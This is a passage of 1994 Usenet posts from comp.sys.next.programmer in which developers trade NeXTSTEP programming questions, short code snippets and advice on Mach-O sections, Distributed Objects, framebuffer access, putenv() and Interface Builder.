Newsgroups: comp.sys.next.programmer From: "Steve Hayman" <sahayman@cs.indiana.edu> Subject: Re: Can I delete an entire segment/section from a Mach-O executable file? Message-ID: <1994Jan10.233406.7664@news.cs.indiana.edu> Organization: Steve Hayman + Associates / NeXTSTEP Consulting / Toronto References: <1994Jan7.131821.3637@news.cs.indiana.edu> Date: Mon, 10 Jan 1994 23:34:00 -0500 (following up my own article) I haven't found a clean way of deleting a segment or section from a Mach-O file, but Scott Hess had a good suggestion: just use Emacs or some other binary editor to edit the binary, and find the name of the section (i.e. "foo.nib") in the binary, and change the name to something else ("foo.nob"). Then the loadNibSection: method won't find any matching sections in the __NIB section, and it will find my modified foo.nib file in the app wrapper. When you're using Emacs, you can hunt for "foo.nib" in the binary, and if it's followed by a few nulls and then the string "__NIB", you know you've found the section header in the binary. Sections look like this: (excerpt from /NextDeveloper/Headers/mach-o/loader.h) struct section { char sectname[16]; // name of this section char segname[16]; // segment this section goes in ... So there's 16 chars of section name, followed by 16 chars of the name of the segment that the section goes in. You could change either or both. If you want to change the section name, make sure you change it to something that's exactly the same length. Thanks for the suggestion, Scott. This works just fine, and I've succesfully modified my 2.X sourceless program to load nibs from the app wrapper instead of the segment. If you were really motivated, you could write a "section_rename" perl script that would let you rename any section/segment combo to anything else. But for me the emacs approach was quick and dirty enough. Regards, Steve -- Steve Hayman shayman@Objectario.com Steve Hayman & Associates, Toronto, Ontario (416) 769-8995 NeXTSTEP Consulting
Newsgroups: comp.sys.next.programmer From: jmartin@Dallas.Bozell.com (Jeff Martin) Subject: Re: Distributed Objects & AppKit ??? Message-ID: <1994Jan10.202559.12226@bozell.com> Sender: news@bozell.com Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc. References: <MED.94Jan10132944@D012S648.zfe.siemens.de> Date: Mon, 10 Jan 1994 20:25:59 GMT In article <MED.94Jan10132944@D012S648.zfe.siemens.de> med@D012S648.zfe.siemens.de (T.Hoellrich) writes: > > Hi comp.sys.next.programmer! > > I have a small problem with Distributed Objects and interaction > with the Appkit. Here's the story: > > I've built a small app which basically acts like the Unix 'talk'- > command with NeXTStep-Interface. The App (better the Talker-Class) can > both act as client or server. When starting the app you get a receive- > and send-TextField object. Pressing the "Connect"-Button connects to a > specified host (in this case the localhost, as this is a standalone > machine). The App where you pressed the "Connect" button acts as the > server and the other app as the client. Now entering text in the > send textfield on the "Server"-side transfers this text to the client > and displays it in the receive-textfield (the Talker Class acts as a > delegate to the Send-TextField and implements - textDidGetKeys). So far > everything works as expected. But the moment I enter a character at the > client-send-textfield the client stucks and after 15 seconds (default > time reports a 11013 error). The weird thing is, that pressing a key > in the client send-window and then fast moving to the server-send-window > and also pressing a key, makes the character entered on the client-side > also appear on the server. It seems that the client-app is waiting for some > event on the server side to transmit the character to the server. Debugging > the client showed, that the clients messages is really dispatched, but > never arrives at the server (if no new keystroke on the server side is > entered). > > Has anybody else experienced a problem like this? Does anybody have a clue? Your error 11013 can be found in /NextDeveloper/Headers/remote: NX_receiveTimedOut = 11013 Your problem may be that one of the connections is not listening for messages. This is done with the -run (or runFromAppkit) method. If you have two text objects talking to each other from two applications, be sure that both of them have called the -run method so that they are receiving messages... ... jeff
Newsgroups: comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.sysadmin From: rawyatt@netcom.com (Robert Wyatt) Subject: Need copy of SHIP compiled under NS/Intel Message-ID: <rawyattCJGAr3.106@netcom.com> Organization: Netcom Online Communications Services (408-241-9760 login: guest) Date: Tue, 11 Jan 1994 05:47:27 GMT Could someone please NeXTmail me a copy of the unix command line binary ship (used to split up large files to send via NeXTmail) compiled under NEXTSTEP for Intel. I have "ship"ed a number of files on a black system only to realize I do not have an Intel binary...pretty smart, huh? :-) Any help is MUCH appreciated! -Rob Wyatt rawyatt@netcom.com rawyatt@csn.org
Newsgroups: gnu.g++.help,comp.sys.next.programmer From: gerben@rna.indiv.nluug.nl Subject: libg++ 2.5.3 on NEXTSTEP 3.2 Message-ID: <1994Jan10.222343.13965@rna.indiv.nluug.nl> Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda) Organization: G.R.O.S.S. Date: Mon, 10 Jan 1994 22:23:43 GMT If you read this on gnu.g++.help please respond by mail. We don't carry that newsgroup here. Hello, I tried to install libg++ 2.5.3 on NEXTSTEP 3.2, I did succeed, and now I have to g++ include directories. One under gcc-include in /usr/local/lib which contains the original NeXT version and one in /usr/local/lib/g++-include. I tried to compile stuff (in fact LEDA) with it but all include files are not found, e.g. like <iostream.h>. Isn't g++ (or gcc 2.5.7 if called as g++) supposed to be able to find these include files. What did I do wrong when installing this? Thanks, -- Gerben Wierda [NeRD:7539] gerben@rna.indiv.nluug.nl "If you don't know where you are going, any road will take you there." From the Talmud(?), rephrased in Lewis Carroll, "Alice in Wonderland".
Newsgroups: comp.sys.next.programmer From: uli@zoodle.robin.de (Ulrich Grepel) Subject: Re: Mail.app: regenerating table_of_contents Message-ID: <CJDurs.26t@zoodle.robin.de> Sender: uli@zoodle.robin.de (Ulrich Grepel) Organization: meow!!! References: <1994Jan9.010731.20098@news.media.mit.edu> Date: Sun, 9 Jan 1994 22:07:03 GMT Jon Orwant writes > > I've got a good Active.mbox/mbox and a corrupted table_of_contents. > Is there an easy way to regenerate the table_of_contents? > > Otherwise, I'm going to have to write a program to parse mbox and then > resend all of my mail back to me, complete with forged fields. There's > gotta be a better way. Just delete Active.mbox/table_of_contents - if it's not present it's generated from scratch. Uli -- Das ist wie mit der Gleichung von Fermat - ein Raetsel, das wir wohl nie loesen werden - Captain Picard, StarTrek TNG, Folge 'Hotel Royal'
From: zeno@abstractsoft.com (Sean T. Lamont) Newsgroups: comp.sys.next.programmer Subject: Re: Any way to write direct to Screen RAM on the NeXT ?? Date: 11 Jan 1994 10:41:02 GMT Organization: Abstract Software Message-ID: <2gtvnu$d4l@news.u.washington.edu> References: <1994Jan5.162737.26439@ousrvr.oulu.fi> In article <1994Jan5.162737.26439@ousrvr.oulu.fi> donnelly@galba.cs.qub.ac.uk (Paul Donnelly) writes: >Hello, > > I guess this is not something most people want to do on their NeXT >worksatation but I was wondering if there was any way to write straight >to Screen RAM from an assembler program on the NeXT? > >Presumably if I could get into supervisor mode, I would be able to turn >off the memory protection and hoke about for the Screen RAM address and >then write data to it. > >Can anyone tell me if its possible to get into supervisor mode from an >assembler program? Is there any way to get direct access to Screen RAM >without being in supervisor mode? > little snippet of code I wrote. You need to be su'd or have the file suid'd or write access to /dev/vid0. Also for more fun, open /dev/vid0 and muck about with DKIOCBRIGHT. static unsigned char *_fbaddress; /* base address */ static int _fbfd; /* file descriptor for /dev/vid0 */ static unsigned char *_fbsaveplane; /* base address for save */ _fbfd = open("/dev/vid0",O_RDWR,0); if (!_fbfd){ perror("Can't initialize Frame Buffer - /dev/vid0:"); exit(-1);} ioctl(_fbfd,DKIOCGADDR,&_fbaddress); at this point, _fbaddress is the base address for the video ram, at least on a monostation. here's another little bit that sets a monostation color val. No excuses for efficiency. dfbsetpixel(x,y,c) { unsigned char bitoff; unsigned char basecolor; basecolor = c; bitoff = 3-(x & 0x03); /* 0-3 */ _fbaddress[y*288 + (x/4)] &= ((0x03<<(bitoff*2))^0xff); /* zero bits */ _fbaddress[y*288 + (x/4)] |= (basecolor<<(bitoff*2)); } -- Sean T. Lamont | Ask me about the WSI-Fonts Abstract Software | Professional collection for NeXT lamont@abstractsoft.com |____________________________________
Newsgroups: comp.sys.next.programmer From: rfi@jeans.fokus.gmd.de (Robert Fischer) Subject: ProjectBuilder: How to use ... SOLVED! Message-ID: <1994Jan11.111420.25059@fokus.gmd.de> Sender: news@fokus.gmd.de (News system) Organization: GMD-Fokus Date: Tue, 11 Jan 1994 11:14:20 GMT Sorry, I found 'gmon.out' burried deep in my filesystem, where my app 'chdir'ed to. Robert. -- ------------------------------------------------------------------------ Robert Fischer @ GMD-Fokus -------- __o ------- _`\<,_ fischer@fokus.gmd.de ------- (*)/ (*) ## NeXT-Mail welcome ## ------------------------------------------------------------------------
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford) Newsgroups: comp.sys.next.programmer Subject: Re: Are structs evil for MAB typedstreams? Date: 11 Jan 1994 05:25:47 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401111124.AA01846@dcs.shef.ac.uk> > ONLY SIMPLE TYPES ARE GUARANTEED HARDWARE-INDEPENDENT IN > TYPEDSTREAMS! DO NOT USE ENCODED STRUCTS AND ARRAYS > UNLESS YOU ARE CERTAIN THERE WILL BE NO BYTE ALIGNMENT > PROBLEMS WHEN BULK STORAGE GETS WRITTEN OFF A SINGLE > POINTER!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! > > The NeXT release notes don't mention this problem. > Remember it, or see your programs die on multiple > architectures. > This issue (along with many others) is dealt with rather well in Alex Duong Nghiem's book, NeXTSTEP Programming -- concepts and applications (Prentice Hall 1993, ISBN 0-13-605916-3) cf pp583-596. I was very surprised to see the slating the book got in the NeXTWORLD review: IMHO take it with a shovelfull of salt... maybe it is a little dry, but it has a lot of very useful stuff -- such as endian issues, for example (which presumably in this case would have been worth the price of the book in itself). [Greg -- sorry for not replying earlier, a friend had borrowed my copy and in case I misremembered I didn't want to give out wrong information ... best of luck!] Have fun, mmalcolm.
Newsgroups: comp.sys.next.programmer,comp.infosystems.www,comp.infosystems.gopher From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: Help with "undefined symbols"! Message-ID: <1994Jan11.111820.16267@csus.edu> Followup-To: comp.sys.next.programmer Sender: news@csus.edu Organization: San Francisco State University References: <2gk3kg$qo8@marble.Britain.EU.net> <2gk638$241@news.acns.nwu.edu> <2gq6do$ck4@vixen.cso.uiuc.edu> Date: Tue, 11 Jan 1994 11:18:20 GMT In article <2gq6do$ck4@vixen.cso.uiuc.edu> robm@ncsa.uiuc.edu (Rob McCool) writes: >John Franks (john@math.nwu.edu) wrote: >: It is telling you that it can't find the function putenv in any library. > >: I would very much like to know about this too. Is there no putenv() >: in NeXTStep? I know that NCSA httpd, uses putenv(), does it compile >: under NeXTSTep? What do all you NeXT owners do when you need putenv()? > >Here's what I use on systems that don't have it available... > > >#ifdef NEED_PUTENV >void putenv(char *s) { > extern char **environ; > int i; > char **oldenv; > > for(i=0;environ[i]!=NULL;i++) ; > oldenv = environ; > environ = (char **) malloc((i+2)*sizeof(char *)); > if(i>0) memcpy(environ, oldenv, i*sizeof(char *)); > environ[i] = s; > environ[i+1] = NULL; >} >#endif As the late Richard P. Feynman once remarked (upon entering a classroom whose blackboard had been covered by someone's futile attempts to obtain the [nonexistent] third root of a quadratic equation), "What _incompetent_ did this?" 1) Every time the above code is called, it allocates a new chunk of memory, copies a bunch of data, and then completely loses track of the previous environment's memory. I note that httpd_1.0/src/http_script.c calls putenv() no less than 21 times. That pretty much guarantees a memory leak big enough to flood downtown Chicago. :-) 2) Your ersatz putenv() fails to check if the variable being defined is already present. This can cause getenv() to return unintended values. 3) THIS SHOULD BE IN THE comp.sys.next.programmer'S FAQ: As a general rule, most programs have absolutely no reason to modify the environment of the current process--their *entire* intent is to establish the environment inherited by a child process. The correct way to do this is to construct the desired vector and pass it explicitly to execve(2) or execle(3), leaving environ pristine. This almost completely eliminates any need for putenv() or setenv() on the NeXT. The notable exceptions are those *rare* cases where one seeks to perturb the behavior of certain library procedures that themselves examine environment variables, e.g.: + DNS resolver (HOSTALIASES, LOCALDOMAIN) + time conversion and timezone functions (TZ, TZNAME) + execvp(3) (PATH) + rexec(3) (HOME) + termcap/curses (TERM, TERMCAP) -=EPS=- -- If the rest of NCSA's code is this lame, I can understand why no one seriously considers porting Mosaic to NEXTSTEP.
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Reading DATA(Music) from CD-ROM Message-ID: <1994Jan11.020807.937@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <2gs4k7$22h@amber.hasc.ca> <1994Jan10.215151.3134@planon.qc.ca> Date: Tue, 11 Jan 1994 02:08:07 GMT In article <1994Jan10.215151.3134@planon.qc.ca> yanik@planon.qc.ca (Yanik Crepeau) writes: >>In article <2gs4k7$22h@amber.hasc.ca> samurai@amber.hasc.ca (Darcy Brockbank) writes: >> > Hi... I'd like to mount and read music from a CD-ROM, and place >> > it into NeXT soundfile format on my harddisk for editing. Does >> > anyone have any helpful hints for going about this? >> > >> > Thanks $1000000. >> > >> > - darcy >> > >> >>Good Luck! >> >>With a Macintosh, when you insert a CD-Audio, you "see" the sound file in the Finder. I >>have asked why when I tried to copy such files from de CD-Audio to my hard disk I just >>have a 1K file copied. >> >>The answer was: because copy protection. The CD-Audio producers would not tolerate such >>way to copy/edit/modify sound file. >> Well, maybe, but you certainly can do it. If you have an Apple CD-300, it works fine, and if you have an SGI, it works fine off their CD drive. I believe someone posted code to do this on the NEC 3401 drive for NeXTSTEP. It's really a matter of having a drive that will accept the particular SCSI command, and then writing a bit of software to do it. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: robm@ncsa.uiuc.edu (Rob McCool) Newsgroups: comp.sys.next.programmer,comp.infosystems.www,comp.infosystems.gopher Subject: Re: Help with "undefined symbols"! Date: 11 Jan 1994 12:37:28 GMT Organization: NCSA Message-ID: <2gu6i8$1n0@vixen.cso.uiuc.edu> References: <2gk3kg$qo8@marble.Britain.EU.net> <2gk638$241@news.acns.nwu.edu> <2gq6do$ck4@vixen.cso.uiuc.edu> <1994Jan11.111820.16267@csus.edu> Eric P. Scott (eps@futon.SFSU.EDU) wrote: : As the late Richard P. Feynman once remarked (upon entering a : classroom whose blackboard had been covered by someone's futile : attempts to obtain the [nonexistent] third root of a quadratic : equation), : "What _incompetent_ did this?" It was donated code which I didn't read altogether too closely since it isn't used on our supported platforms and the donator claimed it worked. I don't even remember who donated it anymore. My post was misleading since it implied that NCSA wrote the code in question. Nonetheless, I'm touched by your lack of sensitivity toward others in expressing your distaste. : As a general rule, most programs have absolutely no reason to : modify the environment of the current process--their *entire* : intent is to establish the environment inherited by a child : process. The correct way to do this is to construct the : desired vector and pass it explicitly to execve(2) or : execle(3), leaving environ pristine. This almost completely : eliminates any need for putenv() or setenv() on the NeXT. The : notable exceptions are those *rare* cases where one seeks to : perturb the behavior of certain library procedures that : themselves examine environment variables, e.g.: .... child processes in httpd need PATH. I suppose it would be faster to use an approach like the one you describe and save PATH beforehand. : If the rest of NCSA's code is this lame, I can understand why no : one seriously considers porting Mosaic to NEXTSTEP. Note that Mosaic itself is unrelated to httpd codewise, and that not all of the code in Mosaic is NCSA's either. We get an awful lot of donated code, and sometimes it isn't all screened completely for bugs or horrible inefficiencies. -- Rob McCool, robm@ncsa.uiuc.edu Software Development Group, National Center for Supercomputing Applications It was working ten minutes ago, I swear... <A HREF="http://hoohoo.ncsa.uiuc.edu/~robm/sg.html">A must see.</A>
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: NXBrowsers, Very Lazy and Normal (SOLVED) Date: 11 Jan 1994 09:32:30 -0000 Organization: me organized? That's a joke! Message-ID: <2gtrne$180@steffi.demon.co.uk> Well it's working like a treat. No need for composite designs involving two objects. Here's how. typedef enum {VERY_LAZY = 0, NORMAL} BROWSERTYPE; - (BOOL)respondsTo:(SEL)aSelector { //fprintf(stderr,"respondsTo? %s\n",sel_getName(aSelector)); switch (type) { case VERY_LAZY: if (aSelector == @selector(browser:fillMatrix:inColumn:)) { return NO; } break; case NORMAL: if (aSelector == @selector(browser:getNumRowsInColumn:)) { return NO; } if (aSelector == @selector(browser:loadCell:atRow:inColumn:)) { return NO; } break; } return [super respondsTo:aSelector]; } - setType:(BROWSERTYPE)aType { if (type == aType) { return self; } type = aType; [browserView setDelegate:nil]; [browserView setDelegate:self]; // Recache. return self; } Hope this clears up the wave of posts on next-prog. Good to see some constant activity in there for a change. Thanks to Alex Cone for the setDelegate hint. and everybody else who suggested respondsTo.. -- "Buzzword Development" the new way for the 90's. Promising to deliver but not delivering what you promised.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Should PB support links? Date: 11 Jan 1994 11:50:05 -0000 Organization: me organized? That's a joke! Message-ID: <2gu3pd$22n@steffi.demon.co.uk> Often when I create a palette I write two applications. A driver application that allows me to test the general behaviour of the palette without relauching IB all the time. and the ".palette" itself. With this method I use links b/w the two project directories so that I may share the source code b/w both projects. However, PB doesn't allow me to use the control modifier when dragging a class from one project to another so I'm unable to do this without creating the links by hand myself or thru the file viewer but then I've got to add the class by hand in PB to the other project. I think PB should recognise the control modifier. Anybody see any problems in doing that? -- "Buzzword Development" the new way for the 90's. Promising to deliver but not delivering what you promised.
From: npratt@glacier.sim.es.com (Nevin Pratt) Newsgroups: comp.sys.next.programmer Subject: Re: HELP: Multiple Declarations of maxValue Date: 11 Jan 1994 15:14:29 GMT Organization: E&S Distribution: world Message-ID: <2gufol$5bn@cnn.sim.es.com> References: <1994Jan8.233639.473@afs.com> In article 473@afs.com, Greg_Anderson@afs.com (Gregory H. Anderson) writes: > In article <2git7oINNi1k@srvr1.engin.umich.edu> wjabi@libra.arch.umich.edu > (Wassim M. Jabi) writes: > > I have a subclass of View (NodeView). The IB has a slider in it. > > In one of NodeView's methods I retrieve the maxValue of the > > slider as in: > > > > id xSlider; > > double xMaxValue; > > xMaxValue = [xSlider maxValue]; Try: xMaxValue = [(Slider *)xSlider maxValue]; With that, the compiler will know whose '- maxValue' you are using (the Slider class's), and suppress the warning. > > When I compile it says: > > NodeView.m:36: warning: multiple declarations for method `maxValue' > > /NextDeveloper/Headers/appkit/Slider.h:20: warning: using > > `-(double)maxValue' > > /NextDeveloper/Headers/soundkit/SoundMeter.h:57: warning: also found > > `-(float)maxValue' > > > > What is that all about? I don't even use any SoundMeter stuff!!??!!? > > I don't even have a method called minValue or maxValue in my code. I am > > just messaging the Slider's method.
Newsgroups: comp.sys.next.programmer From: pdc@dcs.ed.ac.uk (Paul Crowley) Subject: Re: Help with "undefined symbols"! Message-ID: <CJH0JH.v0@dcs.ed.ac.uk> Sender: cnews@dcs.ed.ac.uk (UseNet News Admin) Organization: Edinburgh University References: <2gk638$241@news.acns.nwu.edu> <2gq6do$ck4@vixen.cso.uiuc.edu> <1994Jan11.111820.16267@csus.edu> Date: Tue, 11 Jan 1994 15:04:29 GMT Quoting eps@cs.sfsu.edu in article <1994Jan11.111820.16267@csus.edu>: > > "What _incompetent_ did this?" >If the rest of NCSA's code is this lame, I can understand why no >one seriously considers porting Mosaic to NEXTSTEP. There is a special circle of Hell reserved for those who are rude about free software. __ _____ \/ o\ Paul Crowley pdc@dcs.ed.ac.uk \\ // 42A47697 54144EA4 /\__/ Trust me. I know what I'm doing. \X/ BACFA9FD C9433347
From: david@nd.com (David Samson) Newsgroups: comp.sys.next.programmer Subject: Hard Drive Information Message-ID: <2gujns$ga9@bigguy.eng.ufl.edu> Date: 11 Jan 94 16:22:19 GMT Organization: University of Florida College of Engineering Does anyone know how to read drive IDs from either IDE or SCSI drives? I've read a brochure from a company that makes copy protection software for NeXTSTEP/Intel. They claim to be using a unique serial number from the drive. Is this possible? -- /\ / | David Samson / \/euro /\ | 720 SW 2nd Ave, Gainesville, FL 32601 /_/imension | david@nd.com or david@nd-isdn.ee.ufl.edu
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: ProjectBuilder Library Project Hack V2.0 is here! Message-ID: <1994Jan11.140340.2168@afs.com> Sender: Michael_Pizolato@afs.com Date: Tue, 11 Jan 1994 14:03:40 GMT The new version of the ProjectBuilder library project hack is ready. If you are already on my mailing list, you should have receieved your copy by now. If you are not on my list, e-mail to me and I'll send you a copy. The new version is for NS3.2 _only_, and is not substantially different from the NS3.1 version except that one entire nib change has been eliminated. NeXT is supposed to support library projects in the next release of NEXTSTEP (can I get the next word "next" in here any next more times? ;-), but for now this is the best approach on record. Thanx, Michael -- Michael_Pizolato@afs.com "Schopenhauer's not as optimistic as Nietzsche, NeXTMail accepted but he makes up for it by being less cheerful than Kierkegaard." - Kim Pizolato
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: Beginner Question with DBKit and gdbmAdaptor Message-ID: <1994Jan11.183331.4122@dart.de> Sender: aspohr@dart.de Organization: d'ART Computersysteme GmbH References: <1994Jan4.192908.1903@il.us.swissbank.com> Date: Tue, 11 Jan 94 18:33:31 GMT In article <1994Jan4.192908.1903@il.us.swissbank.com> tyler@vanguard.com (Tyler Gingrich) writes: > Wes Spears writes > > Remember to quit & restart IB anytime you change your model (since all > models are only "parsed" during IB launch). > Since 3.1 you can just close the model window and reopen it. No quitting needed! Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@dART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
From: hasan@nd-isdn.ee.ufl.edu (Mohammed S. Hasan) Newsgroups: comp.unix.bsd,comp.sys.next.programmer Subject: reference text for sereial communication Date: 11 Jan 1994 20:25:42 GMT Organization: University of Florida College of Engineering Distribution: world Message-ID: <2gv206$jgb@bigguy.eng.ufl.edu> Keywords: Modem, zs, serial port Hi I need some reference text dealing with serial communication through modem from a unix machine. I do not find the man pages for the zs device driver elaborate enough. The man pages for zs device drivers for both Sun and NeXT machines seem similar. I am actually working on a NeXTstation. However, any reference on any of the platforms will be appreciated. If possible, please email me. Hasan.
From: gerti@tms-gmbh.de (Gerd Knops) Newsgroups: comp.sys.next.programmer Subject: Re: getting local machine's ethernet address Date: 11 Jan 1994 15:01:48 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401111837.AA09191@Cranach.tms-gmbh.de> EPS writes: > [munch] > On "White Hardware," hostid is ZERO. > [munch] Don't count on that! Though it was true for 3.1, it seems, that with 3.2 and white hardware in a network, again part of the ethernetID is returned. I din't find time yet, to exactly figure out, when and what is returned. Gerd
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: Should PB support links? Message-ID: <1994Jan11.171245.2584@afs.com> Sender: Michael_Pizolato@afs.com References: <2gu3pd$22n@steffi.demon.co.uk> Date: Tue, 11 Jan 1994 17:12:45 GMT Robert Nicholson writes >Often when I create a palette I write two applications. A driver >application that allows me to test the general behaviour of the >palette without relauching IB all the time. and the ".palette" >itself. > >With this method I use links b/w the two project directories so >that I may share the source code b/w both projects. However, PB >doesn't allow me to use the control modifier when dragging a class >from one project to another so I'm unable to do this without >creating the links by hand myself or thru the file viewer but then >I've got to add the class by hand in PB to the other project. > >I think PB should recognise the control modifier. > >Anybody see any problems in doing that? I'm a purist on this one. I don't think it's good practice to be sharing source code in this way. If you want to do this, keep the shared code in a library project and link the library into each project that uses the code. Sometimes it's a pain, but the first time you modify code to suit the particulars of one project, only to find that the modification fubars all the other projects that share the code, you'll appreciate my point of view. Of course, just because I don't allow myself to do this kind of thing doesn't mean others who disagree should not be allowed to. PB should be modified to accept links as Robert describes. Just don't use them ;-). Thanx, Michael -- Michael_Pizolato@afs.com "Schopenhauer's not as optimistic as Nietzsche, NeXTMail accepted but he makes up for it by being less cheerful than Kierkegaard." - Kim Pizolato
From: rtidd@turtle.mrj.com (Randy Tidd) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer Subject: Need grammar for ObjC header files Date: 11 Jan 1994 17:40:24 -0500 Organization: MRJ, Inc./Oakton, Virginia, USA Distribution: world Message-ID: <2gv9so$4pf@turtle.mrj.com> Summary: Need grammar for ObjC header files Keywords: ObjC header parse grammar lex yacc I am in search of a grammar to parse Objective-C header files. Is there one publicly available? Ideally I'm looking for a lex/yacc grammar that does this, though any implementation in C would be OK. Please reply by e-mail and I'll post a summary if I get any info! Thanks -- Randy Tidd rtidd@id.com
Newsgroups: comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: Are structs evil for MAB typedstreams? Message-ID: <1994Jan11.151020.5679@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <9401111124.AA01846@dcs.shef.ac.uk> Date: Tue, 11 Jan 1994 15:10:20 GMT In article <9401111124.AA01846@dcs.shef.ac.uk> M.Crawford@dcs.shef.ac.uk writes: >> ONLY SIMPLE TYPES ARE GUARANTEED HARDWARE-INDEPENDENT IN >> TYPEDSTREAMS! DO NOT USE ENCODED STRUCTS AND ARRAYS >> UNLESS YOU ARE CERTAIN THERE WILL BE NO BYTE ALIGNMENT >> PROBLEMS WHEN BULK STORAGE GETS WRITTEN OFF A SINGLE >> POINTER!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >> > >> The NeXT release notes don't mention this problem. >> Remember it, or see your programs die on multiple >> architectures. >> >This issue (along with many others) is dealt with rather well in Alex >Duong Nghiem's book, NeXTSTEP Programming -- concepts and applications >(Prentice Hall 1993, ISBN 0-13-605916-3) cf pp583-596. > >I was very surprised to see the slating the book got in the NeXTWORLD >review: IMHO take it with a shovelfull of salt... maybe it is a little >dry, but it has a lot of very useful stuff -- such as endian issues, >for example (which presumably in this case would have been worth the >price of the book in itself). You make it sound as though Greg has just made a simple programming error with regard to "endian issues", which I don't think is quite fair. It was reasonable of him IMO to assume that typed streams would be portable. NXWriteTypes/NXReadTypes have all the information they require to archive structures hardware-independently, so why don't they? Dave Griffiths
From: savalle@obs-nice.fr (Renaud Savalle) Newsgroups: comp.sys.next.programmer Subject: (Q) Example programs for understanding Distributed Objects ? Date: 11 Jan 1994 22:19:58 GMT Organization: Nice Observatory (Fr) Sender: benchoc@zig.inria.fr (Philippe Bendjoya) Distribution: world Message-ID: <2gv8me$345@sophia.inria.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Keywords: distributed objects Hello, I'm looking for some submission programs showing how to use NeXTStep's distributed objects. Thanks very much for your help ! Renaud -- savalle@obs-nice.fr
Newsgroups: comp.sys.next.programmer From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: Help with "undefined symbols"! Message-ID: <1994Jan12.072603.26978@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <2gk638$241@news.acns.nwu.edu> <2gq6do$ck4@vixen.cso.uiuc.edu> <1994Jan11.111820.16267@csus.edu> <CJH0JH.v0@dcs.ed.ac.uk> Date: Wed, 12 Jan 1994 07:26:03 GMT In article <CJH0JH.v0@dcs.ed.ac.uk> pdc@dcs.ed.ac.uk (Paul Crowley) writes: >There is a special circle of Hell reserved for those who are rude about >free software. Sturgeon's Law is still applicable. "Free" is no excuse to disdain quality and excellence. -=EPS=- -- Publicly available source code only means your eyes will see what your nose would tell you if your face were close enough.
Newsgroups: comp.sys.next.programmer From: clloyd@gleap (Charles C. Lloyd) Subject: Re: Hard Drive Information Message-ID: <1994Jan12.051845.2252@gleap.sccsi.com> Sender: clloyd@gleap.sccsi.com Organization: GiantLeap Software References: <2gujns$ga9@bigguy.eng.ufl.edu> Date: Wed, 12 Jan 1994 05:18:45 GMT David Samson writes > >Does anyone know how to read drive IDs from either IDE or SCSI drives? > >I've read a brochure from a company that makes copy protection software >for NeXTSTEP/Intel. They claim to be using a unique serial number from >the drive. Is this possible? > Perhaps they are using the pattern of bad sectors to generate a unique signature for the drive. I wrote a simple system based on this a few years ago and it worked well for some drives but not for others. Some drives can hide their bad sectors (IDE?) so you probably have to do something special to locate them. Charles. -- Charles Lloyd clloyd@GLeap.sccsi.com GiantLeap Software (713) 292-5853 or 363-9001 (Hou) (713) 363-9763 (fax)
Newsgroups: comp.sys.next.programmer From: reinhard@avalon.unizh.ch (Peter Reinhardt) Subject: Re: Regex (re_match) Message-ID: <1994Jan12.082004.27405@ifi.unizh.ch> Sender: news@ifi.unizh.ch (USENET News Admin) Organization: University of Zurich, Department of Computer Science References: <2gk4b2$17m@steffi.demon.co.uk> <2gk8t3$hj2@cville-srv.wam.umd.edu> Date: Wed, 12 Jan 1994 08:20:04 GMT Ross Garrett Cutler (rgc@wam.umd.edu) wrote: : Robert Nicholson (robert@steffi.demon.co.uk) wrote: : : How reliable is NeXT's implementation of Regex? : : I'm using re_match and the "start" and "end" pointers don't seem to be : : setting correctly. : : Is this a problem? : I found that NeXT's supplied regex worked, but weren't nearly as powerful : as GNU's regex. : -- : Ross Cutler : University of Maryland, College Park : Internet: rgc@wam.umd.edu which is the actual version of GNU regex ? where can i get newer versions of it? peter.
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: IB Dragging question Message-ID: <1994Jan12.090629.267@dart.de> Sender: aspohr@dart.de Organization: d'ART Computersysteme GmbH References: <1994Jan10.140216.5342@ifi.informatik.uni-stuttgart.de> Date: Wed, 12 Jan 94 09:06:29 GMT In article <1994Jan10.140216.5342@ifi.informatik.uni-stuttgart.de> brouwer@mickey.informatik.uni-stuttgart.de (Klaus Brouwer) writes: > > I can't tell you exactly why Drag&Drop does work only in test mode, but I > think it has something to with the fact, the any view instance you drag of a > palette isn't "installed" in the window, i.e. its 'window' instance variable is > nil. (Drag a box in an empty window, give it a special title and find and > inspect it using AppInspector to verify that). > [...] Sorry if write something allready said, but I didn't read the original question. Be careful with IB. The Window for your View in fact does not exist. Windows you see on the screen are WindowTemplates. This is why you can not use your own Inspectors for Windows. The same is true for Menu (MenuTemplate), DBModule (DBModuleTemplate) and various other Objects. So you never can be shure if you have the real object in your hands. IB catches all dragging. No chance to have 